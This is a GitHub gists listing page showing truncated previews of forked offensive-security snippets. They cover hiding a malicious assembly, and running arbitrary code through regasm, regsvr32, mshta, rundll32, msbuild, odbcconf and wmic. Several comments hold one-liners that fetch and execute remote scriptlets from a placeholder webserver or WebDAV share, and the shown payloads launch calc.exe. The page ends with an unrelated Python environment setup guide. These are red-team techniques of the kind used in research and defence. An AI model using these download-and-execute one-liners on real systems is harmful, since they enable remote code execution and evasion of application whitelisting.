PaulSec’s gists

PaulSec / malicious.cs

Created May 21, 2019 12:19 — forked from Arno0x/malicious.cs

Hide malicious assembly in another one with RunTime code compiling

	/*
	Author: Arno0x0x, Twitter: @Arno0x0x

	DO NOT COMPILE THIS SOURCE FILE !

	Encode this source in base64:
	base64 -w0 malicious.cs > malicious.b64

	Then paste it in the code in "not_detected.cs" source file

PaulSec / regasm.cs

Created May 21, 2019 12:19 — forked from Arno0x/regasm.cs

A DLL that can be called from regasm.exe/regsvc.exe to execute arbitrary code

	/*
	============== Compile ============
	Create Your Strong Name Key -> key.snk

	$key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4='
	$Content = [System.Convert]::FromBase64String($key)
	Set-Content key.snk -Value $Content -Encoding Byte

	C:\Windows\Microsoft.NET\Framewor

PaulSec / scriptlet.sct

Created May 21, 2019 12:19 — forked from Arno0x/scriptlet.sct

Scriplet that can be executed by mshta or rundll32 for arbitrary code execution

	<?XML version="1.0"?>
	<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
	<!-- mshta vbscript:Close(Execute("GetObject(""script:http://webserver/scriplet.sct"")")) -->
	<scriptlet>
	<public>
	</public>
	<script language="JScript">
	<![CDATA[

	var r = new ActiveXObject("WScript.Shell").Run("calc.exe");

PaulSec / regsvr32.sct

Created May 21, 2019 12:19 — forked from Arno0x/regsvr32.sct

A scriptlet that can be executed by regsvr32.exe for arbitrary code execution

	<?XML version="1.0"?>
	<!-- regsvr32 /u /n /s /i:http://webserver/regsvr32.sct scrobj.dll -->
	<!-- regsvr32 /u /n /s /i:\\webdavserver\folder\regsvr32.sct scrobj.dll -->
	<scriptlet>
	<registration
	progid="PoC"
	classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
	<script language="JScript">
	<![CDATA[

PaulSec / calc.hta

Created May 21, 2019 12:19 — forked from Arno0x/calc.hta

HTML Application example to be executed by mstha.exe

	<html>
	<head>
	<HTA:APPLICATION ID="HelloExample">
	<script language="jscript">
	var c = "cmd.exe /c calc.exe";
	new ActiveXObject('WScript.Shell').Run(c);
	</script>
	</head>
	<body>
	<script>self.close();</script>

PaulSec / msbuild.xml

Created May 21, 2019 12:19 — forked from Arno0x/msbuild.xml

MSBuild project definition to execute arbitrary code from msbuild.exe

	<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
	<!-- This inline task executes c# code. -->
	<!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe msbuild.xml -->
	<Target Name="Hello">
	<SharpLauncher >
	</SharpLauncher>
	</Target>
	<UsingTask
	TaskName="SharpLauncher"
	TaskFactory="CodeTaskFactory"

PaulSec / odbcconf.cs

Created May 21, 2019 12:19 — forked from Arno0x/odbcconf.cs

Download and execute arbitrary code with odbcconf.exe

	/*
	To use with odbcconf.exe:

	odbcconf /S /A {REGSVR odbcconf.dll}

	or, from a remote location (if WebDAV support enabled):
	odbcconf /S /A {REGSVR \\webdavaserver\dir\odbcconf.dll}
	*/

	using System;

PaulSec / wmic.xsl

Created May 21, 2019 12:19 — forked from Arno0x/wmic.xsl

Oneliner for arbitrary code download and execution

	<?xml version='1.0'?>
	<!-- Discovered by @SubTee and @mattifestation -->
	<!-- Execute with: wmic os get /format:"https://webserver/wmic.xsl" -->
	<stylesheet
	xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
	xmlns:user="placeholder"
	version="1.0">
	<output method="text"/>
	<ms:script implements-prefix="user" language="JScript">
	<![CDATA[

PaulSec / TestAssembly.cs

Created May 21, 2019 12:18 — forked from Arno0x/TestAssembly.cs

This code shows how to load a CLR in an unmanaged process, then load an assembly from memory (not from a file) and execute a method

	/*

	================================ Compile as a .Net DLL ==============================
	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library /out:TestAssembly.dll TestAssembly.cs

	*/

	using System.Windows.Forms;

	namespace TestNamespace

PaulSec / python_environment_setup.md

Created February 6, 2019 15:43 — forked from wronk/python_environment_setup.md

Setting up your python development environment (with pyenv, virtualenv, and virtualenvwrapper)

Overview

When you're working on multiple coding projects, you might want a couple different version of Python and/or modules installed. That way you can keep each project in its own sandbox instead of trying to juggle multiple projects (each with different dependencies) on your system's version of Python. This intermediate guide covers one way to handle multiple Python versions and Python environments on your own (i.e., without a package manager like conda). See the Using the workflow section to view the end result.

Use cases

Working on 2+ projects that each have their own dependencies; e.g., a Python 2.7 project and a Python 3.6 project, or developing a module that needs to work across multiple versions of Python. It's not reasonable to uninstall/reinstall modules every time you want to switch environments.
If you want to execute code on the cloud, you can set up a Python environment that mirrors the relevant

Paul PaulSec

Overview

Use cases